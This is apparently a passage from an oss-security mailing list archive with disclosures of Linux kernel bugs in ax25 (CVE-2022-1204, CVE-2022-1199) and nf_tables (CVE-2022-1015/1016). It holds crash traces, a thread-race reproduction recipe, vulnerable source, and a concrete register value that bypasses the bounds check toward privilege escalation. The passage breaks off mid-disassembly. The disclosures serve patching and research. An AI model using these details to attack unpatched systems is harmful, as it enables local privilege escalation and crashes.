\[  208.136725\] Freed by task 3071:
\[  208.136725\]  kasan\_save\_stack+0x1b/0x40
\[  208.136725\]  kasan\_set\_track+0x1c/0x30
\[  208.136725\]  kasan\_set\_free\_info+0x20/0x30
\[  208.136725\]  \_\_\_\_kasan\_slab\_free+0xec/0x120
\[  208.136725\]  kfree+0x8f/0x210
\[  208.136725\]  ax25\_device\_event+0x14e/0x160
\[  208.136725\]  raw\_notifier\_call\_chain+0x5e/0x70
\[  208.136725\]  dev\_close\_many+0x17d/0x230
\[  208.136725\]  rollback\_registered\_many+0x1f1/0x950
\[  208.136725\]  unregister\_netdevice\_queue+0x133/0x200
\[  208.136725\]  unregister\_netdev+0x13/0x20
\[  208.136725\]  mkiss\_close+0xc4/0x120
\[  208.136725\]  tty\_ldisc\_hangup+0x1ab/0x2d0
\[  208.136725\]  \_\_tty\_hangup.part.0+0x306/0x510
\[  208.136725\]  tty\_release+0x200/0x670
\[  208.136725\]  \_\_fput+0x104/0x3b0
\[  208.136725\]  task\_work\_run+0x8f/0xd0
\[  208.136725\]  exit\_to\_user\_mode\_prepare+0x114/0x120
\[  208.136725\]  syscall\_exit\_to\_user\_mode+0x1d/0x40
\[  208.136725\]  entry\_SYSCALL\_64\_after\_hwframe+0x44/0xa9

(2) One of the use-after-free bug backtraces related with net\_device is shown below.

\[  769.959339\] BUG: KASAN: use-after-free in ax25\_send\_control+0x43/0x210
\[  769.959339\] Read of size 2 at addr ffff8880092520de by task ax25\_co\_rel/1970
\[  769.966904\] Call Trace:
\[  769.966904\]  <TASK>
\[  769.966904\]  dump\_stack\_lvl+0x57/0x7d
\[  769.966904\]  print\_address\_description.constprop.0+0x1f/0x150
\[  769.966904\]  ? ax25\_send\_control+0x43/0x210
\[  769.966904\]  ? ax25\_send\_control+0x43/0x210
\[  769.966904\]  kasan\_report.cold+0x7f/0x11b
\[  769.966904\]  ? ax25\_send\_control+0x43/0x210
\[  769.966904\]  ax25\_send\_control+0x43/0x210
\[  769.966904\]  ? trace\_hardirqs\_on+0x1c/0x110
\[  769.966904\]  ax25\_release+0x2db/0x3b0
\[  769.966904\]  ? lock\_release+0xb2/0x470
\[  769.966904\]  \_\_sock\_release+0x6d/0x120
\[  769.966904\]  sock\_close+0xf/0x20
\[  769.966904\]  \_\_fput+0x11f/0x420
\[  769.966904\]  task\_work\_run+0x86/0xd0
\[  769.966904\]  get\_signal+0x1096/0x1240
\[  769.966904\]  ? lockdep\_hardirqs\_on\_prepare+0xe/0x230
\[  769.966904\]  ? \_\_local\_bh\_enable\_ip+0x7e/0xf0
\[  769.966904\]  ? trace\_hardirqs\_on+0x1c/0x110
\[  769.966904\]  ? ax25\_connect+0x3c1/0x800
\[  769.966904\]  ? signal\_setup\_done+0x2a0/0x2a0
\[  769.966904\]  arch\_do\_signal\_or\_restart+0x1df/0xbf0
\[  770.012784\]  exit\_to\_user\_mode\_prepare+0x143/0x1c0
\[  770.012784\]  syscall\_exit\_to\_user\_mode+0x19/0x50
\[  770.012784\]  do\_syscall\_64+0x48/0x90
\[  770.012784\]  entry\_SYSCALL\_64\_after\_hwframe+0x44/0xae
\[  770.012784\] RIP: 0033:0x7fba03510d2b
\[  770.012784\] Code: 83 ec 18 89 54 24 0c 48 89 34 24 89 7c 24 08 e8 fb fa ff ff 8b 54 24 0c 48 8b 34 24 41 89 c0 8b 7c 24 08 b8 2a 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 2f 44
\[  770.016580\] RSP: 002b:00007fb9a9f5aee0 EFLAGS: 00000293 ORIG\_RAX: 000000000000002a
\[  770.016580\] RAX: fffffffffffffe00 RBX: 0000000000000000 RCX: 00007fba03510d2b
\[  770.021380\] RDX: 0000000000000010 RSI: 00000000006021c0 RDI: 0000000000000005
\[  770.021380\] RBP: 00007fb9a9f5af00 R08: 0000000000000000 R09: 00007fb9a9f5b700
\[  770.021380\] R10: 0000000000000000 R11: 0000000000000293 R12: 00007ffeb426b5ce
\[  770.021380\] R13: 00007ffeb426b5cf R14: 00007fb9a9f5afc0 R15: 00007fb9a9f5b700
\[  770.021380\]  </TASK>
\[  770.021380\] 
\[  770.021380\] Allocated by task 1283:
\[  770.025691\]  kasan\_save\_stack+0x1e/0x40
\[  770.025691\]  \_\_kasan\_kmalloc+0x81/0xa0
\[  770.025691\]  alloc\_netdev\_mqs+0x5a/0x680
\[  770.025691\]  mkiss\_open+0x6c/0x380
\[  770.025691\]  tty\_ldisc\_open+0x55/0x90
\[  770.029456\]  tty\_set\_ldisc+0x193/0x2e0
\[  770.029456\]  tty\_ioctl+0x4ae/0xc70
\[  770.029456\]  \_\_x64\_sys\_ioctl+0xb4/0xf0
\[  770.029456\]  do\_syscall\_64+0x3b/0x90
\[  770.029456\]  entry\_SYSCALL\_64\_after\_hwframe+0x44/0xae
\[  770.029456\] 
\[  770.033625\] Freed by task 1969:
\[  770.033625\]  kasan\_save\_stack+0x1e/0x40
\[  770.033625\]  kasan\_set\_track+0x21/0x30
\[  770.033625\]  kasan\_set\_free\_info+0x20/0x30
\[  770.033625\]  \_\_kasan\_slab\_free+0xfa/0x130
\[  770.033625\]  kfree+0xa3/0x2c0
\[  770.033625\]  device\_release+0x54/0xe0
\[  770.037210\]  kobject\_put+0xa5/0x120
\[  770.037210\]  tty\_ldisc\_kill+0x3e/0x80
\[  770.037210\]  tty\_ldisc\_hangup+0x1b2/0x2c0
\[  770.037210\]  \_\_tty\_hangup.part.0+0x316/0x520
\[  770.037210\]  tty\_release+0x200/0x670
\[  770.037210\]  \_\_fput+0x11f/0x420
\[  770.037210\]  task\_work\_run+0x86/0xd0
\[  770.037210\]  exit\_to\_user\_mode\_prepare+0x1b2/0x1c0
\[  770.037210\]  syscall\_exit\_to\_user\_mode+0x19/0x50
\[  770.041472\]  do\_syscall\_64+0x48/0x90
\[  770.041472\]  entry\_SYSCALL\_64\_after\_hwframe+0x44/0xae

=\*=\*=\*=\*=\*=\*=\*=\*=  Bug Reproduce  =\*=\*=\*=\*=\*=\*=\*=\*=

We could use pseudoterminal-based device emulation to simulate
ax25 device from user space and create a socket for it. Then, 
we create four threads: the first thread is used to initialize 
and start ax25 device, the second thread is used to close the
pseudoterminal-based device, the third thread is used to execute
bind and connect syscalls, the last thread is used to close the 
socket. Let these four threads to interleave, we could reproduce
the bug. 

=\*=\*=\*=\*=\*=\*=\*=\*=  Bug Fix  =\*=\*=\*=\*=\*=\*=\*=\*=

The patch that have been applied to mainline Linux kernel is shown below.
https://github.com/torvalds/linux/commit/d01ffb9eee4af165d83b08dd73ebdf9fe94a519b
https://github.com/torvalds/linux/commit/87563a043cef044fed5db7967a75741cc16ad2b1
https://github.com/torvalds/linux/commit/feef318c855a361a1eccd880f33e88c460eb63b4
https://github.com/torvalds/linux/commit/9fd75b66b8f68498454d685dc4ba13192ae069b0
https://github.com/torvalds/linux/commit/5352a761308397a0e6250fdc629bb3f615b94747

=\*=\*=\*=\*=\*=\*=\*=\*=  Timeline  =\*=\*=\*=\*=\*=\*=\*=\*=

2022-01-28: commit d01ffb9eee4a accepted to mainline kernel
2022-02-04: commit 87563a043cef accepted to mainline kernel
2022-01-28: commit feef318c855a accepted to mainline kernel
2022-03-21: commit 9fd75b66b8f6 accepted to mainline kernel
2022-03-29: commit 5352a7613083 accepted to mainline kernel
2022-04-02: CVE-2022-1204 is assigned

=\*=\*=\*=\*=\*=\*=\*=\*=  Credit  =\*=\*=\*=\*=\*=\*=\*=\*=
Duoming Zhou <duoming@....edu.cn>

Best Regards,
Duoming Zhou

Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.

CVE-2022-1204: security - CVE-2022-1204: Linux kernel: UAF caused by binding operation when ax25 device is detaching

A flaw was found in the Linux kernel. This flaw allows an attacker to crash the Linux kernel by simulating amateur radio from the user space, resulting in a null-ptr-deref vulnerability and a use-after-free vulnerability.

*   Products
    *   Openwall GNU/\*/Linux   _server OS_
    *   Linux Kernel Runtime Guard
    *   John the Ripper   _password cracker_
        *   Free & Open Source for any platform
        *   in the cloud
        *   Pro for Linux
        *   Pro for macOS
    *   Wordlists   _for password cracking_
    *   passwdqc   _policy enforcement_
        *   Free & Open Source for Unix
        *   Pro for Windows (Active Directory)
    *   yescrypt   _KDF & password hashing_
    *   yespower   _Proof-of-Work (PoW)_
    *   crypt\_blowfish   _password hashing_
    *   phpass   _ditto in PHP_
    *   tcb   _better password shadowing_
    *   Pluggable Authentication Modules
    *   scanlogd   _port scan detector_
    *   popa3d   _tiny POP3 daemon_
    *   blists   _web interface to mailing lists_
    *   msulogin   _single user mode login_
    *   php\_mt\_seed   _mt\_rand() cracker_
*   Services
*   Publications
    *   Articles
    *   Presentations
*   Resources
    *   Mailing lists
    *   Community wiki
    *   Source code repositories (GitHub)
    *   Source code repositories (CVSweb)
    *   File archive & mirrors
    *   How to verify digital signatures
    *   OVE IDs
*   What's new

\[<prev\] \[next>\] \[day\] \[month\] \[year\] \[list\]

Date: Sat, 2 Apr 2022 16:45:07 +0800 (GMT+08:00)
From: 周多明 <duoming@....edu.cn>
To: oss-security@...ts.openwall.com
Subject: CVE-2022-1199 kernel: Null pointer dereference and use-after-free
 in ax25\_release()

Hello there,

There are null-ptr-deref vulnerability and use-after-free vulnerabilities in net/ax25/af\_ax25.c
of linux that allow attacker to crash linux kernel by simulating ax25 device from user-space.

=\*=\*=\*=\*=\*=\*=\*=\*=  Bug Details  =\*=\*=\*=\*=\*=\*=\*=\*=

The null-ptr-deref vulnerability is caused by "ax25->sk = NULL" in ax25\_release(). 
The dereference sites include "bh\_lock\_sock(ax25->sk)" and "bh\_unlock\_sock(ax25->sk)"
in ax25\_disconnect(), "lock\_sock(s->sk)" and "release\_sock(s->sk)" in ax25\_kill\_by\_device(). 

The NPD bug related with bh\_lock\_sock(ax25->sk) is shown below:

ax25\_kill\_by\_device()                | ax25\_release()
  ax25\_disconnect()                  |   ax25\_destroy\_socket()
    ...                              |
    if(ax25->sk != NULL)             |     ...
      ...                            |     ax25->sk = NULL;
      bh\_lock\_sock(ax25->sk); //(1)  |     ...
      ...                            |
      bh\_unlock\_sock(ax25->sk); //(2)|

The NPD bug related with lock\_sock(s->sk) is shown below:

ax25\_kill\_by\_device()        | ax25\_release()
                             |   ax25\_destroy\_socket()
                             |     ax25\_cb\_del()
  ...                        |     ...
                             |     ax25->sk=NULL;
  lock\_sock(s->sk); //(1)    |
  s->ax25\_dev = NULL;        |     ...
  release\_sock(s->sk); //(2) |
  ...                        |

The use-after-free vulnerability is caused by "sock\_put(sk)" in ax25\_release(). The dereference 
sites include "lock\_sock(s->sk)" and "release\_sock(s->sk)" in ax25\_kill\_by\_device().

ax25\_kill\_by\_device()        | ax25\_release()
                             |   ax25\_destroy\_socket()
  ...                        |   ...
                             |   sock\_put(sk); //FREE
  lock\_sock(s->sk); //(1)    |
  s->ax25\_dev = NULL;        |   ...
  release\_sock(s->sk); //(2) |
  ...                        |

=\*=\*=\*=\*=\*=\*=\*=\*=  Bug Effects  =\*=\*=\*=\*=\*=\*=\*=\*=

We can successfully trigger the vulnerabilities to crash the linux kernel.

The NPD bug related with bh\_lock\_sock() is shown below.

\[  178.776298\] BUG: kernel NULL pointer dereference, address: 0000000000000088
\[  178.777929\] RIP: 0010:\_raw\_spin\_lock+0x7e/0xd0
\[  178.777929\] Code: be 04 00 00 00 c7 44 24 20 00 00 00 00 e8 2a 29 e8 fe be 04 00 00 00 48 8d 7c 24 20 e8 1b 29 e8 fe ba 01 00 00 00 8b 44 24 20 <f0> 0f b1 55 00 75 29 48 b8 00 00 00 00
\[  178.777929\] RSP: 0018:ffff888007dcfa48 EFLAGS: 00000297
\[  178.777929\] RAX: 0000000000000000 RBX: 1ffff11000fb9f49 RCX: ffffffff82482855
\[  178.777929\] RDX: 0000000000000001 RSI: 0000000000000004 RDI: ffff888007dcfa68
\[  178.777929\] RBP: 0000000000000088 R08: 0000000000000001 R09: 0000000000000003
\[  178.777929\] R10: ffffed1000fb9f4d R11: 0000000000000001 R12: 0000000000000065
\[  178.777929\] R13: ffff888009f99800 R14: ffff888009f99860 R15: ffff888009f99800
\[  178.777929\] FS:  00007f9651ce3700(0000) GS:ffff88806d480000(0000) knlGS:0000000000000000
\[  178.777929\] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
\[  178.777929\] CR2: 0000000000000088 CR3: 0000000009876000 CR4: 00000000000006e0
\[  178.777929\] Call Trace:
\[  178.777929\]  ? \_raw\_read\_lock\_irq+0x30/0x30
\[  178.777929\]  ? \_raw\_spin\_unlock\_bh+0x9/0x20
\[  178.777929\]  ? ax25\_link\_failed+0x40/0x60
\[  178.777929\]  ax25\_disconnect+0xf6/0x220
\[  178.777929\]  ax25\_device\_event+0x187/0x250
\[  178.777929\]  raw\_notifier\_call\_chain+0x5e/0x70
\[  178.777929\]  dev\_close\_many+0x17d/0x230
\[  178.777929\]  ? \_\_dev\_close\_many+0x1c0/0x1c0
\[  178.777929\]  rollback\_registered\_many+0x1f1/0x950
\[  178.777929\]  ? \_raw\_write\_lock\_irqsave+0xd0/0xd0
\[  178.777929\]  ? dev\_alloc\_name+0xd0/0xd0
\[  178.777929\]  ? ldsem\_down\_read+0x410/0x410
\[  178.777929\]  unregister\_netdevice\_queue+0x133/0x200
\[  178.777929\]  ? unregister\_netdevice\_many+0x20/0x20
\[  178.777929\]  ? sixpack\_close+0xf8/0x130
\[  178.777929\]  unregister\_netdev+0x13/0x20
\[  178.777929\]  tty\_ldisc\_hangup+0x1ab/0x2d0
\[  178.777929\]  \_\_tty\_hangup.part.0+0x306/0x510
\[  178.777929\]  tty\_release+0x200/0x670
\[  178.777929\]  \_\_fput+0x104/0x3b0
\[  178.777929\]  task\_work\_run+0x8f/0xd0
\[  178.777929\]  exit\_to\_user\_mode\_prepare+0x114/0x120
\[  178.777929\]  syscall\_exit\_to\_user\_mode+0x1d/0x40
\[  178.777929\]  entry\_SYSCALL\_64\_after\_hwframe+0x44/0xa9

The NPD bug related with lock\_sock() is shown below.

\[  727.493561\] BUG: kernel NULL pointer dereference, address: 0000000000000088
\[  727.493561\] RIP: 0010:\_raw\_spin\_lock\_bh+0x89/0xd0
\[  727.493561\] Code: be 04 00 00 00 c7 44 24 20 00 00 00 00 e8 5f c6 f1 fd be 04 00 00 00 48 8d 7c 24 20 e8 50 c6 f1 fd ba 01 00 00 00 8b 44 24 20 <f0> 0f b1 55 00 75 29 48 b8 00 00 00 00
\[  727.493561\] RSP: 0018:ffff88801569f9c0 EFLAGS: 00000297
\[  727.493561\] RAX: 0000000000000000 RBX: 1ffff11002ad3f38 RCX: ffffffff8366d960
\[  727.493561\] RDX: 0000000000000001 RSI: 0000000000000004 RDI: ffff88801569f9e0
\[  727.493561\] RBP: 0000000000000088 R08: 0000000000000001 R09: 0000000000000003
\[  727.493561\] R10: ffffed1002ad3f3c R11: 0000000000000001 R12: 0000000000000088
\[  727.493561\] R13: ffff888016166700 R14: ffff888014a57dc8 R15: dffffc0000000000
\[  727.493561\] FS:  00007f5cab712700(0000) GS:ffff88806d200000(0000) knlGS:0000000000000000
\[  727.493561\] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
\[  727.493561\] CR2: 0000000000000088 CR3: 000000000a336000 CR4: 00000000000006f0
\[  727.493561\] Call Trace:
\[  727.493561\]  ? \_raw\_spin\_lock+0xd0/0xd0
\[  727.493561\]  release\_sock+0x16/0x170
\[  727.493561\]  ax25\_device\_event+0x1a3/0x270
\[  727.493561\]  ? nr\_device\_event+0xf2/0x140
\[  727.493561\]  raw\_notifier\_call\_chain+0x8d/0xd0
\[  727.493561\]  dev\_close\_many+0x227/0x400
\[  727.493561\]  ? \_\_dev\_close\_many+0x290/0x290
\[  727.493561\]  ? finish\_task\_switch.isra.0+0x205/0x620
\[  727.493561\]  ? \_\_switch\_to+0x572/0xe50
\[  727.493561\]  rollback\_registered\_many+0x2e1/0x1130
\[  727.493561\]  ? dev\_alloc\_name+0xf0/0xf0
\[  727.493561\]  ? ldsem\_down\_read+0x650/0x650
\[  727.493561\]  unregister\_netdevice\_queue+0x1d7/0x3e0
\[  727.493561\]  ? unregister\_netdevice\_many+0x50/0x50
\[  727.493561\]  ? \_raw\_write\_lock\_bh+0xd0/0xd0
\[  727.493561\]  ? down\_write\_killable+0x120/0x120
\[  727.493561\]  unregister\_netdev+0x13/0x20
\[  727.493561\]  mkiss\_close+0x116/0x1f0
\[  727.493561\]  tty\_ldisc\_hangup+0x227/0x5f0
\[  727.493561\]  ? fasync\_remove\_entry+0x28/0x220
\[  727.493561\]  \_\_tty\_hangup.part.0+0x41c/0x910
\[  727.493561\]  tty\_release+0x3a8/0xcc0
\[  727.493561\]  \_\_fput+0x1e2/0x840
\[  727.493561\]  task\_work\_run+0xe8/0x180
\[  727.493561\]  exit\_to\_user\_mode\_prepare+0x114/0x120
\[  727.493561\]  syscall\_exit\_to\_user\_mode+0x1d/0x40
\[  727.493561\]  entry\_SYSCALL\_64\_after\_hwframe+0x44/0xa9
\[  727.493561\] RIP: 0033:0x7f6d2c9d4beb
\[  727.493561\] Code: 0f 05 48 3d 00 f0 ff ff 77 45 c3 0f 1f 40 00 48 83 ec 18 89 7c 24 0c e8 33 fc ff ff 8b 7c 24 0c 41 89 c0 b8 03 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 2f 44 89 c7 89 44
\[  727.493561\] RSP: 002b:00007f5cab711ec0 EFLAGS: 00000293 ORIG\_RAX: 0000000000000003
\[  727.493561\] RAX: 0000000000000000 RBX: 0000000000000000 RCX: 00007f6d2c9d4beb
\[  727.493561\] RDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000003
\[  727.493561\] RBP: 00007f5cab711f00 R08: 0000000000000000 R09: 00007f5cab712700
\[  727.493561\] R10: 0000000000000000 R11: 0000000000000293 R12: 00007ffee89407be
\[  727.493561\] R13: 00007ffee89407bf R14: 00007f5cab711fc0 R15: 00007f5cab712700

The UAF bug related with lock\_sock() is shown below.

\[  208.472360\] BUG: KASAN: use-after-free in \_raw\_spin\_lock\_bh+0x71/0xd0
\[  208.472465\] Write of size 4 at addr ffff88800a0e8088 by task ax25\_clo\_bin/1271
\[  208.472465\] Call Trace:
\[  208.472465\]  dump\_stack+0x7d/0xa3
\[  208.472465\]  print\_address\_description.constprop.0+0x18/0x130
\[  208.472465\]  ? \_raw\_spin\_lock\_bh+0x71/0xd0
\[  208.472465\]  ? \_raw\_spin\_lock\_bh+0x71/0xd0
\[  208.472465\]  kasan\_report.cold+0x7f/0x10e
\[  208.472465\]  ? \_raw\_spin\_lock\_bh+0x71/0xd0
\[  208.472465\]  check\_memory\_region+0xf9/0x1e0
\[  208.472465\]  \_raw\_spin\_lock\_bh+0x71/0xd0
\[  208.472465\]  ? \_raw\_spin\_lock+0xd0/0xd0
\[  208.472465\]  ? schedule+0x8e/0x120
\[  208.472465\]  \_\_lock\_sock+0xd9/0x140
\[  208.472465\]  ? sock\_omalloc+0xc0/0xc0
\[  208.472465\]  ? \_raw\_spin\_lock+0xd0/0xd0
\[  208.472465\]  ? wait\_woken+0x110/0x110
\[  208.472465\]  ? \_raw\_spin\_lock+0xd0/0xd0
\[  208.472465\]  ? \_raw\_spin\_lock\_bh+0x80/0xd0
\[  208.472465\]  ? \_raw\_spin\_lock+0xd0/0xd0
\[  208.472465\]  lock\_sock\_nested+0x72/0x80
\[  208.472465\]  ax25\_device\_event+0xef/0x160
\[  208.472465\]  raw\_notifier\_call\_chain+0x5e/0x70
\[  208.472465\]  dev\_close\_many+0x17d/0x230
\[  208.472465\]  ? \_\_dev\_close\_many+0x1c0/0x1c0
\[  208.472465\]  ? \_\_schedule+0x494/0xc30
\[  208.472465\]  rollback\_registered\_many+0x1f1/0x950
\[  208.472465\]  ? clockevents\_program\_event+0xd3/0x130
\[  208.472465\]  ? dev\_alloc\_name+0xd0/0xd0
\[  208.472465\]  ? ldsem\_down\_read+0x410/0x410
\[  208.472465\]  unregister\_netdevice\_queue+0x133/0x200
\[  208.472465\]  ? unregister\_netdevice\_many+0x20/0x20
\[  208.472465\]  ? \_raw\_write\_lock\_bh+0xd0/0xd0
\[  208.472465\]  unregister\_netdev+0x13/0x20
\[  208.472465\]  mkiss\_close+0xc4/0x120
\[  208.472465\]  tty\_ldisc\_hangup+0x1ab/0x2d0
\[  208.472465\]  \_\_tty\_hangup.part.0+0x306/0x510
\[  208.472465\]  tty\_release+0x200/0x670
\[  208.472465\]  \_\_fput+0x104/0x3b0
\[  208.472465\]  task\_work\_run+0x8f/0xd0
\[  208.472465\]  exit\_to\_user\_mode\_prepare+0x114/0x120
\[  208.472465\]  syscall\_exit\_to\_user\_mode+0x1d/0x40
\[  208.472465\]  entry\_SYSCALL\_64\_after\_hwframe+0x44/0xa9
\[  208.472465\] RIP: 0033:0x7f7900bb1beb
\[  208.472465\] Code: 0f 05 48 3d 00 f0 ff ff 77 45 c3 0f 1f 40 00 48 83 ec 18 89 7c 24 0c e8 33 fc ff ff 8b 7c 24 0c 41 89 c0 b8 03 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 2f 44 89 c7 89 44 24 0c e8 71 fc ff ff 8b 44
\[  208.472465\] RSP: 002b:00007f78ff9c8ec0 EFLAGS: 00000293 ORIG\_RAX: 0000000000000003
\[  208.472465\] RAX: 0000000000000000 RBX: 0000000000000000 RCX: 00007f7900bb1beb
\[  208.472465\] RDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000003
\[  208.472465\] RBP: 00007f78ff9c8f00 R08: 0000000000000000 R09: 00007f78ff9c9700
\[  208.472465\] R10: 0000000000000000 R11: 0000000000000293 R12: 00007ffd364d6b9e
\[  208.472465\] R13: 00007ffd364d6b9f R14: 00007f78ff9c8fc0 R15: 00007f78ff9c9700

=\*=\*=\*=\*=\*=\*=\*=\*=  Bug Fix  =\*=\*=\*=\*=\*=\*=\*=\*=

The patch that have been applied to mainline Linux kernel is shown below.
https://github.com/torvalds/linux/commit/4e0f718daf97d47cf7dec122da1be970f145c809
https://github.com/torvalds/linux/commit/7ec02f5ac8a5be5a3f20611731243dc5e1d9ba10
https://github.com/torvalds/linux/commit/71171ac8eb34ce7fe6b3267dce27c313ab3cb3ac

=\*=\*=\*=\*=\*=\*=\*=\*=  Timeline  =\*=\*=\*=\*=\*=\*=\*=\*=

2022-01-28: commit 4e0f718daf97 accepted to mainline kernel
2022-02-09: commit 7ec02f5ac8a5 accepted to mainline kernel
2022-03-09: commit 71171ac8eb34 accepted to mainline kernel
2022-04-01: CVE-2022-1199 is assigned

=\*=\*=\*=\*=\*=\*=\*=\*=  Credit  =\*=\*=\*=\*=\*=\*=\*=\*=

Duoming Zhou <duoming@....edu.cn>

Best Regards,
Duoming Zhou

Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.

CVE-2022-1199: security - CVE-2022-1199 kernel: Null pointer dereference and use-after-free in ax25_release()

A flaw was found in the Linux kernel in net/netfilter/nf_tables_core.c:nft_do_chain, which can cause a use-after-free. This issue needs to handle 'return' with proper preconditions, as it can lead to a kernel information leak problem caused by a local, unprivileged attacker.

**oss-sec mailing list archives**

_From_: David Bouman <davidbouman35 () gmail com>  
_Date_: Mon, 28 Mar 2022 20:28:21 +0200  

Hello list,

I'm reporting two linux kernel vulnerabilities in the nf\_tables component of the netfilter subsystem that I found.

CVE-2022-1015 pertains to an out of bounds access in nf\_tables expression evaluation due to validation of user register indices. It leads to local privilege escalation, for example by overwriting a stack return address OOB with a crafted nft\_expr\_payload.

CVE-2022-1015 is exploitable starting from commit 345023b0db3 ("netfilter: nftables: add nft\_parse\_register\_store() and use it"), v5.12 and has been fixed in commit 6e1acfa387b9 ("netfilter: nf\_tables: validate registers coming from userspace.").

The bug has been present since commit 49499c3e6e18 ("netfilter: nf\_tables: switch registers to 32 bit addressing"), but to my knowledge has not been exploitable until v5.12.

CVE-2022-1016 pertains to uninitialized stack data in the nft\_do\_chain routine. CVE-2022-1016 is exploitable starting from commit 96518518cc41 (original merge of nf\_tables), v3.13-rc1, and has been fixed in commit 4c905f6740a3 ("netfilter: nf\_tables: initialize registers in nft\_do\_chain()").

I will be releasing a detailed blog post and exploit code for both vulnerabilities in a few days.

Root cause CVE-2022-1016: (it is the shortest, so I will begin with it)

The nft\_do\_chain routine in net/netfilter/nf\_tables\_core.c does not initialize the register data that nf\_tables expressions can read from- and write to. These expressions inherently exhibit side effects that can be used to determine the register data, which can contain kernel image pointers, module pointers, and allocation pointers depending on the code path taken to end up at nft\_do\_chain.

\`\`\`
unsigned int
nft\_do\_chain(struct nft\_pktinfo \*pkt, void \*priv)
{
        const struct nft\_chain \*chain = priv, \*basechain = chain;
        const struct net \*net = nft\_net(pkt);
        struct nft\_rule \*const \*rules;
        const struct nft\_rule \*rule;
        const struct nft\_expr \*expr, \*last;
        struct nft\_regs regs; // <-------- VULNERABLE! NOT INITIALIZED.
        unsigned int stackptr = 0;
        struct nft\_jumpstack jumpstack\[NFT\_JUMP\_STACK\_SIZE\];
        bool genbit = READ\_ONCE(net->nft.gencursor);
        struct nft\_traceinfo info;

        info.trace = false;
        if (static\_branch\_unlikely(&nft\_trace\_enabled))
                nft\_trace\_init(&info, pkt, &regs.verdict, basechain);
do\_chain:
        if (genbit)
                rules = rcu\_dereference(chain->rules\_gen\_1);
        else
                rules = rcu\_dereference(chain->rules\_gen\_0);

next\_rule:
        rule = \*rules;
        regs.verdict.code = NFT\_CONTINUE;
        for (; \*rules ; rules++) {
                rule = \*rules;
                nft\_rule\_for\_each\_expr(expr, last, rule) {
                        if (expr->ops == &nft\_cmp\_fast\_ops)
                                nft\_cmp\_fast\_eval(expr, &regs);
                        else if (expr->ops == &nft\_bitwise\_fast\_ops)
                                nft\_bitwise\_fast\_eval(expr, &regs);
                        else if (expr->ops != &nft\_payload\_fast\_ops ||
                                 !nft\_payload\_fast\_eval(expr, &regs, pkt))
                                expr\_call\_ops\_eval(expr, &regs, pkt);
                                ...
\`\`\`

Root cause CVE-2022-1015:

(below is pasted from my original security () kernel org report)

Hello, I'm mailing to report a vulnerability I found in nf\_tables component of the netfilter subsystem. The vulnerability gives an attacker a powerful primitive that can be used to both read from and write to relative stack data. This can lead to arbitrary code execution by an attacker.

In order for an unprivileged attacker to exploit this issue, unprivileged user- and network namespaces access is required (CLONE\_NEWUSER | CLONE\_NEWNET). The bug relies on a compiler optimization that introduces behavior that the maintainer did not account for, and most likely only occurs on kernels with \`CONFIG\_CC\_OPTIMIZE\_FOR\_PERFORMANCE=y\`. I successfully exploited the bug on x86\_64 kernel version 5.16-rc3, but I believe this vulnerability exists across different kernel versions and architectures (more on this later).

Without further ado:

The bug resides in \`linux/net/netfilter/nf\_tables\_api.c\`, in the \`nft\_validate\_register\_store\` and \`nft\_validate\_register\_load\` routines. These routines are used to check if nft expression parameters supplied by the user are sound and won't cause OOB stack accesses when evaluating the expression.

From my 5.16-rc3 kernel source (d58071a8a76d779eedab38033ae4c821c30295a5: Linux 5.16-rc3):

nft\_validate\_register\_store:

\`\`\`
static int nft\_validate\_register\_store(const struct nft\_ctx \*ctx,
      enum nft\_registers reg,
      const struct nft\_data \*data,
      enum nft\_data\_types type,
      unsigned int len)
{
int err;

switch (reg) {
        ...
default:
if (reg < NFT\_REG\_1 \* NFT\_REG\_SIZE / NFT\_REG32\_SIZE)
return -EINVAL;
if (len == 0)
return -EINVAL;
if (reg \* NFT\_REG32\_SIZE + len >
   sizeof\_field(struct nft\_regs, data))
return -ERANGE;

if (data != NULL && type != NFT\_DATA\_VALUE)
return -EINVAL;
return 0;
}
}
\`\`\`

nft\_validate\_register\_load:

\`\`\`

static int nft\_validate\_register\_load(enum nft\_registers reg, unsigned int len)

{
if (reg < NFT\_REG\_1 \* NFT\_REG\_SIZE / NFT\_REG32\_SIZE)
return -EINVAL;
if (len == 0)
return -EINVAL;
if (reg \* NFT\_REG32\_SIZE + len > sizeof\_field(struct nft\_regs, data))
return -ERANGE;

return 0;
}
\`\`\`

The problem lies in the fact that \`enum nft\_registers reg\` is not guaranteed only be a single byte. As per the C89 specification, 3.1.3.3 Enumeration constants: \`An identifier declared as an enumeration constant has type int.\`.

Effectively this implies that the compiler is free to emit code that operates on \`reg\` as if it were a 32-bit value. If this is the case (and it is on the kernel I tested), a user can forge an expression register value that will overflow upon multiplication with \`NFT\_REG32\_SIZE\` (4) and upon addition with \`len\`, will be a value smaller than \`sizeof\_field(struct nft\_regs, data)\` (0x50). Once this check passes, the least significant byte of \`reg\` can still contain a value that will index outside of the bounds of the \`struct nft\_regs regs\` that it will later be used with.

Take for example a \`reg\` value of \`0xfffffff8\` and a \`len\` value of \`0x40\`. The expression \`reg \* 4 + len\` will then result in \`0xffffffe0 + 0x40 = 0x20\`, which is lower than \`0x50\`. This makes that a value of \`0xf8\` is recognized as a valid index, and is subsequently assigned to a register value in the expression info structs.

Here is a snippet of the x86\_64 assembly code that these functions might generate:

\`\`\`
Disassembly of section .text:

0000000000002ed0 <nft\_validate\_register\_store>:

2ed0: e8 00 00 00 00 callq 2ed5 <nft\_validate\_register\_store+0x5>

    2ed5: 55                   push   %rbp
    2ed6: 48 89 e5             mov    %rsp,%rbp
    2ed9: 41 54                 push   %r12
    2edb: 85 f6                 test   %esi,%esi

2edd: 75 2b jne 2f0a <nft\_validate\_register\_store+0x3a>

    2edf: 81 f9 00 ff ff ff     cmp    $0xffffff00,%ecx

2ee5: 75 49 jne 2f30 <nft\_validate\_register\_store+0x60>

